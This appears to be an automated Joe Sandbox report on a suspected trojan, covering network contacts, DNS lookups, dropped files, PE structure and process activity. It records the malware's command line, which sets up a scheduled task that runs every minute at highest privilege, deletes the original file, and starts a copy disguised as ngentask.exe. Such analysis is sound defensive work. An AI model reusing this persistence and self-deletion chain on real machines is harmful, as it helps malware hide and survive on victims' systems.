https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/assets/css/de-product-display	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/wp-content/plugins/chaty/js/cht-front-script.js?ver=1630326243	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://www.imarket-eg.com/wp-content/plugins/dethemekit-for-elementor/assets/js/de_loop/ecs_ajax_pa	advapi32.dll.0.dr	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
160.153.50.70	imarket-eg.com	United States		26496	AS-26496-GO-DADDY-COM-LLCUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	749056
Start date and time:	2022-11-18 07:51:36 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 7m 41s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	QHSgso4hXH.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	24
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal88.troj.evad.winEXE@21/3@2/2
EGA Information:	Successful, ratio: 66.7%
HDC Information:	Failed
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ctldl.windowsupdate.com
Execution Graph export aborted for target ngentask.exe, PID 3128 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
07:52:54	Task Scheduler	Run new task: ngentask path: C:\Users\user\AppData\Local\ServiceHub\ngentask.exe

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.355221377978991
Encrypted:	false
SSDEEP:	6:Q3La/xwchM3RJoDLIP12MUAvvR+uCqDLIP12MUAvvR+uTL2LDY3U21v:Q3La/hhkvoDLI4MWuCqDLI4MWuPk21v
MD5:	03C5BA5FCE7124B503EA65EF522177C3
SHA1:	F76B1F538D5EA66664355901E927B2F870ACCDD8
SHA-256:	8128CE419BBE0419F1A0BDE97C3A14E3377C0184DC1D7AF61AA01AAB756B625B
SHA-512:	151A974DDABA852144EC4BC18C548227A32E5261736F186A3920F2497434AEE9DBB0E0AB77E0E52A84A9FBC4529A158882B7549763400DDC2082D384B1135141
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..

C:\Users\user\AppData\Local\ServiceHub\ngentask.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	85096
Entropy (8bit):	6.068116381033184
Encrypted:	false
SSDEEP:	1536:vJ7xS0hlY2s+zFVNzXmGU8fnqGHcZEVjgGI:vfAR+z7Nmf8fqlZoK
MD5:	ED7F195F7121781CC3D380942765B57D
SHA1:	AEE93C4D84C2035C2FB20E4550672203FD209C60
SHA-256:	CA003ECD9A6CAAE17824816D1D869173510B2EB3C13F62E1A5615F1DA64F9676
SHA-512:	15CEC9427A9311539F352F3034293157FAA5EC6AD0C7B9777474359C6770C8DF1EEE689C3E1478698C90D58C296251759913DC255A2D7141B26A8B1BAFEFB4EA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Metadefender, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....X.Z..............0.................. ... ....@.. .......................`......wm....`.....................................O.... ..@...............h>...@......X................................................ ............... ..H............text........ ...................... ..`.rsrc...@.... ......................@..@.reloc.......@......................@..B........................H........x..........9...........X........................................0...........s&...}.....('.....(.....{....-..,#.{....((........r...p......(>.......{....()...-......{....(....+U...P...%....o+......i.3=..........(,...,,..()...,...(-.......(......3..{........o/....o0...%.-....,..o............rA..p......(>.........(....$..1........f.c.........H.........6.{.....o1......0..C........j..()...,..(-......(..........r}..p......%...(>......{......o/.....................0..

C:\Users\user\AppData\Local\Temp\advapi32.dll

Download File

Process:	C:\Users\user\Desktop\QHSgso4hXH.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (7178), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	92160
Entropy (8bit):	5.333658046180996
Encrypted:	false
SSDEEP:	1536:zrDVpcYyhR/mNhRPufA7E+k6CBbEXKv/tji21YFuGBXkNsMrFuGBXkNsM2KxPhXh:zrROHmNbPv7Ebtu2GFpBkNPrFpBkNP2c
MD5:	D458D9192514B396EB8ED0354EBD93D0
SHA1:	BE508F92631C8532D7FEF5BA14B49C1AC22E72FB
SHA-256:	9062710822767EA3799FDD96221969724D9A27F45800F1E8598D27761E8F9631
SHA-512:	D76221B3885C18C7B7858AB16684B77E9E65FD47FCDC2441632544B6E90C6AB77C649795AD2FC147A9FDA8AF8B186927908E8F5DE1E416083D6F1150C618EBD0
Malicious:	false
Preview:	<!doctype html>.<html lang="en">.<head>..<meta charset="UTF-8">...<meta name="viewport" content="width=device-width, initial-scale=1">..<link rel="profile" href="https://gmpg.org/xfn/11">..<title>Page not found – iMarket EG</title>.<meta name='robots' content='max-image-preview:large' />.<link href='https://fonts.gstatic.com' crossorigin rel='preconnect' />.<link rel="alternate" type="application/rss+xml" title="iMarket EG » Feed" href="https://www.imarket-eg.com/feed/" />.<link rel="alternate" type="application/rss+xml" title="iMarket EG » Comments Feed" href="https://www.imarket-eg.com/comments/feed/" />.<style type="text/css">.img.wp-smiley,.img.emoji {..display: inline !important;..border: none !important;..box-shadow: none !important;..height: 1em !important;..width: 1em !important;..margin: 0 0.07em !important;..vertical-align: -0.1em !important;..background: none !important;..padding: 0 !important;.}.</style>..<link rel='stylesheet' id='chaty-front-css-css' hr

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.848246051600344
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	QHSgso4hXH.exe
File size:	1138176
MD5:	2f8df206ba700503dbebf59e937af0ec
SHA1:	7c36d57af94f2dd16a62c09356b4ef2c63e456fd
SHA256:	6bb1564eca89071edd9c42b84481aed5f3f5aaccedb8f61d6fb892b7f08bdca7
SHA512:	6fbb58b3e3046498c64ad659db07ecd28357c54d65d2f1cf00220ce1bbd4fa4693dbe2c0df607a801f5cf6757bd5327735448c3babecb997ec85e88049275a59
SSDEEP:	24576:+JqzI2HEUvWMJsbHsoO0YTyllU3OWuA5aRn:+JrbG70Y4WFZ8Rn
TLSH:	B435F16AF7C2513BE845F2780A5381B5B6B7E8509E202F637522EA1F2D72087DC5707E
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........."...q...q...q..lq...q..Yq...q..mq...q..Tq...q...q...q..hq...q..]q...q..Pq...q..Zq...qRich...q........................PE..L..

File Icon


Icon Hash:	6e61c9d46464f2d5

Static PE Info

General

Entrypoint:	0x40607a
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x637709BB [Fri Nov 18 04:27:39 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	15e5ac4e63af04f3034d99698484adf1

Entrypoint Preview

Instruction
call 00007FBDC0E6447Ah
jmp 00007FBDC0E60D1Eh
mov edi, edi
push ebp
mov ebp, esp
sub esp, 00000328h
mov dword ptr [004F3F00h], eax
mov dword ptr [004F3EFCh], ecx
mov dword ptr [004F3EF8h], edx
mov dword ptr [004F3EF4h], ebx
mov dword ptr [004F3EF0h], esi
mov dword ptr [004F3EECh], edi
mov word ptr [004F3F18h], ss
mov word ptr [004F3F0Ch], cs
mov word ptr [004F3EE8h], ds
mov word ptr [004F3EE4h], es
mov word ptr [004F3EE0h], fs
mov word ptr [004F3EDCh], gs
pushfd
pop dword ptr [004F3F10h]
mov eax, dword ptr [ebp+00h]
mov dword ptr [004F3F04h], eax
mov eax, dword ptr [ebp+04h]
mov dword ptr [004F3F08h], eax
lea eax, dword ptr [ebp+08h]
mov dword ptr [004F3F14h], eax
mov eax, dword ptr [ebp-00000320h]
mov dword ptr [004F3E50h], 00010001h
mov eax, dword ptr [004F3F08h]
mov dword ptr [004F3E04h], eax
mov dword ptr [004F3DF8h], C0000409h
mov dword ptr [004F3DFCh], 00000001h
mov eax, dword ptr [004F3284h]
mov dword ptr [ebp-00000328h], eax
mov eax, dword ptr [004F3288h]
mov dword ptr [ebp-00000324h], eax
call dword ptr [0000008Ch]

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[IMP] VS2008 SP1 build 30729
[RES] VS2010 build 30319
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xf1dc4	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xf7000	0x23c70	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xf0000	0x158	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xee6b8	0xee800	False	0.8445238797169812	data	7.8950275690936	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0xf0000	0x254a	0x2600	False	0.3405633223684211	data	4.93477861528342	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xf3000	0x31a4	0xe00	False	0.19921875	data	2.249537468379531	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xf7000	0x23c70	0x23e00	False	0.8160864002613241	data	7.279101888009963	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0xf7400	0x18084	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	Portuguese	Brazil
RT_ICON	0x10f488	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384	Portuguese	Brazil
RT_ICON	0x1136b0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	Portuguese	Brazil
RT_ICON	0x115c58	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304	Portuguese	Brazil
RT_ICON	0x116b00	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	Portuguese	Brazil
RT_ICON	0x117168	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	Portuguese	Brazil
RT_ICON	0x118210	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024	Portuguese	Brazil
RT_ICON	0x118ab8	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	Portuguese	Brazil
RT_ICON	0x118da0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	Portuguese	Brazil
RT_ICON	0x119728	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576	Portuguese	Brazil
RT_ICON	0x119df0	0x1e8	Device independent bitmap graphic, 24 x 48 x 4, image size 288	Portuguese	Brazil
RT_ICON	0x119fd8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	Portuguese	Brazil
RT_ICON	0x11a440	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256	Portuguese	Brazil
RT_ICON	0x11a9a8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	Portuguese	Brazil
RT_MENU	0x11aba0	0x48	Matlab v4 mat-file (little endian) C, numeric, rows 5636240, columns 7077985, imaginary	Portuguese	Brazil
RT_MENU	0x11abe8	0x6c	data	Portuguese	Brazil
RT_ACCELERATOR	0x11ac58	0x8	data	Portuguese	Brazil
RT_ACCELERATOR	0x11ac60	0x10	data	Portuguese	Brazil
RT_GROUP_ICON	0x11aad0	0xca	Targa image data - Map 32 x 32900 x 1 +1	Portuguese	Brazil

Imports

DLL	Import
KERNEL32.dll	CreateFileW, lstrcmpiW, HeapSize, WriteConsoleW, SetStdHandle, IsProcessorFeaturePresent, FlushFileBuffers, GetDiskFreeSpaceW, GetProcAddress, GetLastError, lstrcmpW, LoadLibraryW, CloseHandle, GlobalAlloc, MultiByteToWideChar, MoveFileA, HeapAlloc, EnterCriticalSection, LeaveCriticalSection, DeleteFileA, HeapReAlloc, GetCommandLineW, HeapSetInformation, GetStartupInfoW, TerminateProcess, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, GetCPInfo, InterlockedIncrement, InterlockedDecrement, GetACP, GetOEMCP, IsValidCodePage, EncodePointer, TlsAlloc, TlsGetValue, TlsSetValue, DecodePointer, TlsFree, GetModuleHandleW, SetLastError, GetCurrentThreadId, SetHandleCount, GetStdHandle, InitializeCriticalSectionAndSpinCount, GetFileType, DeleteCriticalSection, ExitProcess, WriteFile, GetModuleFileNameW, HeapCreate, Sleep, HeapFree, FreeEnvironmentStringsW, GetEnvironmentStringsW, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, WideCharToMultiByte, LCMapStringW, GetStringTypeW, SetFilePointer, GetConsoleCP, GetConsoleMode, RtlUnwind
USER32.dll	GetMessageW, LoadCursorW, GetDC, TranslateMessage, LoadIconW, ShowWindow, CreateWindowExW, RegisterClassW, DispatchMessageW
GDI32.dll	CreateFontW, ChoosePixelFormat, SetPixelFormat, GetStockObject, CreateSolidBrush, DeleteObject

Possible Origin

Language of compilation system	Country where language is spoken	Map
Portuguese	Brazil

Network Behavior

Network Port Distribution

Total Packets: 30
• 443 (HTTPS)
• 53 (DNS)

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 18, 2022 07:52:44.552045107 CET	49702	443	192.168.2.6	160.153.50.70
Nov 18, 2022 07:52:44.552134037 CET	443	49702	160.153.50.70	192.168.2.6
Nov 18, 2022 07:52:44.552263975 CET	49702	443	192.168.2.6	160.153.50.70
Nov 18, 2022 07:52:44.607594967 CET	49702	443	192.168.2.6	160.153.50.70
Nov 18, 2022 07:52:44.607652903 CET	443	49702	160.153.50.70	192.168.2.6
Nov 18, 2022 07:52:45.107064962 CET	443	49702	160.153.50.70	192.168.2.6
Nov 18, 2022 07:52:45.107203960 CET	49702	443	192.168.2.6	160.153.50.70
Nov 18, 2022 07:52:45.531378984 CET	49702	443	192.168.2.6	160.153.50.70
Nov 18, 2022 07:52:45.531441927 CET	443	49702	160.153.50.70	192.168.2.6
Nov 18, 2022 07:52:45.532157898 CET	443	49702	160.153.50.70	192.168.2.6
Nov 18, 2022 07:52:45.532262087 CET	49702	443	192.168.2.6	160.153.50.70
Nov 18, 2022 07:52:45.536410093 CET	49702	443	192.168.2.6	160.153.50.70
Nov 18, 2022 07:52:45.536426067 CET	443	49702	160.153.50.70	192.168.2.6
Nov 18, 2022 07:52:47.669153929 CET	443	49702	160.153.50.70	192.168.2.6
Nov 18, 2022 07:52:47.669244051 CET	443	49702	160.153.50.70	192.168.2.6
Nov 18, 2022 07:52:47.669364929 CET	49702	443	192.168.2.6	160.153.50.70
Nov 18, 2022 07:52:47.669424057 CET	443	49702	160.153.50.70	192.168.2.6
Nov 18, 2022 07:52:47.669467926 CET	49702	443	192.168.2.6	160.153.50.70
Nov 18, 2022 07:52:47.669487953 CET	49702	443	192.168.2.6	160.153.50.70
Nov 18, 2022 07:52:47.831084013 CET	443	49702	160.153.50.70	192.168.2.6
Nov 18, 2022 07:52:47.831202984 CET	49702	443	192.168.2.6	160.153.50.70
Nov 18, 2022 07:52:47.831209898 CET	443	49702	160.153.50.70	192.168.2.6
Nov 18, 2022 07:52:47.831233978 CET	443	49702	160.153.50.70	192.168.2.6
Nov 18, 2022 07:52:47.831283092 CET	443	49702	160.153.50.70	192.168.2.6
Nov 18, 2022 07:52:47.831288099 CET	49702	443	192.168.2.6	160.153.50.70
Nov 18, 2022 07:52:47.831312895 CET	49702	443	192.168.2.6	160.153.50.70
Nov 18, 2022 07:52:47.831322908 CET	443	49702	160.153.50.70	192.168.2.6
Nov 18, 2022 07:52:47.831348896 CET	49702	443	192.168.2.6	160.153.50.70
Nov 18, 2022 07:52:47.831372976 CET	49702	443	192.168.2.6	160.153.50.70
Nov 18, 2022 07:52:47.831379890 CET	443	49702	160.153.50.70	192.168.2.6
Nov 18, 2022 07:52:47.831424952 CET	49702	443	192.168.2.6	160.153.50.70
Nov 18, 2022 07:52:47.993324995 CET	443	49702	160.153.50.70	192.168.2.6
Nov 18, 2022 07:52:47.993482113 CET	443	49702	160.153.50.70	192.168.2.6
Nov 18, 2022 07:52:47.993555069 CET	49702	443	192.168.2.6	160.153.50.70
Nov 18, 2022 07:52:47.993590117 CET	443	49702	160.153.50.70	192.168.2.6
Nov 18, 2022 07:52:47.993628025 CET	49702	443	192.168.2.6	160.153.50.70
Nov 18, 2022 07:52:47.993664026 CET	49702	443	192.168.2.6	160.153.50.70
Nov 18, 2022 07:52:47.993762970 CET	443	49702	160.153.50.70	192.168.2.6
Nov 18, 2022 07:52:47.993833065 CET	49702	443	192.168.2.6	160.153.50.70
Nov 18, 2022 07:52:47.993840933 CET	443	49702	160.153.50.70	192.168.2.6
Nov 18, 2022 07:52:47.993885040 CET	49702	443	192.168.2.6	160.153.50.70
Nov 18, 2022 07:52:47.994016886 CET	443	49702	160.153.50.70	192.168.2.6
Nov 18, 2022 07:52:47.994083881 CET	49702	443	192.168.2.6	160.153.50.70
Nov 18, 2022 07:52:47.994091988 CET	443	49702	160.153.50.70	192.168.2.6
Nov 18, 2022 07:52:47.994137049 CET	49702	443	192.168.2.6	160.153.50.70
Nov 18, 2022 07:52:47.994291067 CET	443	49702	160.153.50.70	192.168.2.6
Nov 18, 2022 07:52:47.994364977 CET	49702	443	192.168.2.6	160.153.50.70
Nov 18, 2022 07:52:47.994373083 CET	443	49702	160.153.50.70	192.168.2.6
Nov 18, 2022 07:52:47.994420052 CET	49702	443	192.168.2.6	160.153.50.70
Nov 18, 2022 07:52:48.156018972 CET	443	49702	160.153.50.70	192.168.2.6
Nov 18, 2022 07:52:48.156172991 CET	443	49702	160.153.50.70	192.168.2.6
Nov 18, 2022 07:52:48.156321049 CET	49702	443	192.168.2.6	160.153.50.70
Nov 18, 2022 07:52:48.156404972 CET	49702	443	192.168.2.6	160.153.50.70
Nov 18, 2022 07:52:48.173702002 CET	49702	443	192.168.2.6	160.153.50.70
Nov 18, 2022 07:52:48.173732042 CET	443	49702	160.153.50.70	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 18, 2022 07:52:42.022449970 CET	53107	53	192.168.2.6	8.8.8.8
Nov 18, 2022 07:52:42.040594101 CET	53	53107	8.8.8.8	192.168.2.6
Nov 18, 2022 07:52:44.477853060 CET	64601	53	192.168.2.6	8.8.8.8
Nov 18, 2022 07:52:44.497093916 CET	53	64601	8.8.8.8	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 18, 2022 07:52:42.022449970 CET	192.168.2.6	8.8.8.8	0xd30b	Standard query (0)	vxsljuxgekdpuv.307xvytdn0	A (IP address)	IN (0x0001)	false
Nov 18, 2022 07:52:44.477853060 CET	192.168.2.6	8.8.8.8	0x1cd7	Standard query (0)	www.imarket-eg.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 18, 2022 07:52:42.040594101 CET	8.8.8.8	192.168.2.6	0xd30b	Name error (3)	vxsljuxgekdpuv.307xvytdn0	none	none	A (IP address)	IN (0x0001)	false
Nov 18, 2022 07:52:44.497093916 CET	8.8.8.8	192.168.2.6	0x1cd7	No error (0)	www.imarket-eg.com	imarket-eg.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2022 07:52:44.497093916 CET	8.8.8.8	192.168.2.6	0x1cd7	No error (0)	imarket-eg.com		160.153.50.70	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.imarket-eg.com

Statistics

Click to jump to process

Target ID:	0
Start time:	07:52:34
Start date:	18/11/2022
Path:	C:\Users\user\Desktop\QHSgso4hXH.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\QHSgso4hXH.exe
Imagebase:	0x400000
File size:	1138176 bytes
MD5 hash:	2F8DF206BA700503DBEBF59E937AF0EC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: SUSP_XORed_Mozilla, Description: Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., Source: 00000000.00000003.260166226.0000000002256000.00000040.00000800.00020000.00000000.sdmp, Author: Florian Roth Rule: SUSP_XORed_MSDOS_Stub_Message, Description: Detects suspicious XORed MSDOS stub message, Source: 00000000.00000003.260166226.0000000002256000.00000040.00000800.00020000.00000000.sdmp, Author: Florian Roth
Reputation:	low

Show Windows behavior

Target ID:	1
Start time:	07:52:43
Start date:	18/11/2022
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe
Imagebase:	0xae0000
File size:	85096 bytes
MD5 hash:	ED7F195F7121781CC3D380942765B57D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	moderate

Show Windows behavior

Target ID:	2
Start time:	07:52:45
Start date:	18/11/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "ngentask" /sc MINUTE /tr "C:\Users\user\AppData\Local\ServiceHub\ngentask.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe" &&START "" "C:\Users\user\AppData\Local\ServiceHub\ngentask.exe
Imagebase:	0x1b0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	3
Start time:	07:52:45
Start date:	18/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6da640000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: chcp.comPID: 5432, Parent PID: 2148

General

Target ID:	4
Start time:	07:52:45
Start date:	18/11/2022
Path:	C:\Windows\SysWOW64\chcp.com
Wow64 process (32bit):	true
Commandline:	chcp 65001
Imagebase:	0x1b0000
File size:	12800 bytes
MD5 hash:	561054CF9C4B2897E80D7E7D9027FED9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Target ID:	5
Start time:	07:52:45
Start date:	18/11/2022
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping 127.0.0.1
Imagebase:	0x13e0000
File size:	18944 bytes
MD5 hash:	70C24A306F768936563ABDADB9CA9108
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	7
Start time:	07:52:52
Start date:	18/11/2022
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /tn "ngentask" /sc MINUTE /tr "C:\Users\user\AppData\Local\ServiceHub\ngentask.exe" /rl HIGHEST /f
Imagebase:	0x950000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	8
Start time:	07:52:53
Start date:	18/11/2022
Path:	C:\Users\user\AppData\Local\ServiceHub\ngentask.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\ServiceHub\ngentask.exe"
Imagebase:	0x6d0000
File size:	85096 bytes
MD5 hash:	ED7F195F7121781CC3D380942765B57D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Antivirus matches:	Detection: 0%, ReversingLabs Detection: 0%, Metadefender, Browse
Reputation:	moderate

Show Windows behavior

Target ID:	9
Start time:	07:52:53
Start date:	18/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6da640000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Analysis Process: ngentask.exePID: 4512, Parent PID: 1064

General

Target ID:	11
Start time:	07:52:55
Start date:	18/11/2022
Path:	C:\Users\user\AppData\Local\ServiceHub\ngentask.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\ServiceHub\ngentask.exe
Imagebase:	0x6d0000
File size:	85096 bytes
MD5 hash:	ED7F195F7121781CC3D380942765B57D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Show Windows behavior

Target ID:	13
Start time:	07:52:55
Start date:	18/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6da640000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Analysis Process: ngentask.exePID: 5420, Parent PID: 1064

General

Target ID:	18
Start time:	07:53:01
Start date:	18/11/2022
Path:	C:\Users\user\AppData\Local\ServiceHub\ngentask.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\ServiceHub\ngentask.exe
Imagebase:	0x580000
File size:	85096 bytes
MD5 hash:	ED7F195F7121781CC3D380942765B57D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Show Windows behavior

Target ID:	19
Start time:	07:53:02
Start date:	18/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6da640000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Analysis Process: ngentask.exePID: 684, Parent PID: 1064

General

Target ID:	22
Start time:	07:54:00
Start date:	18/11/2022
Path:	C:\Users\user\AppData\Local\ServiceHub\ngentask.exe
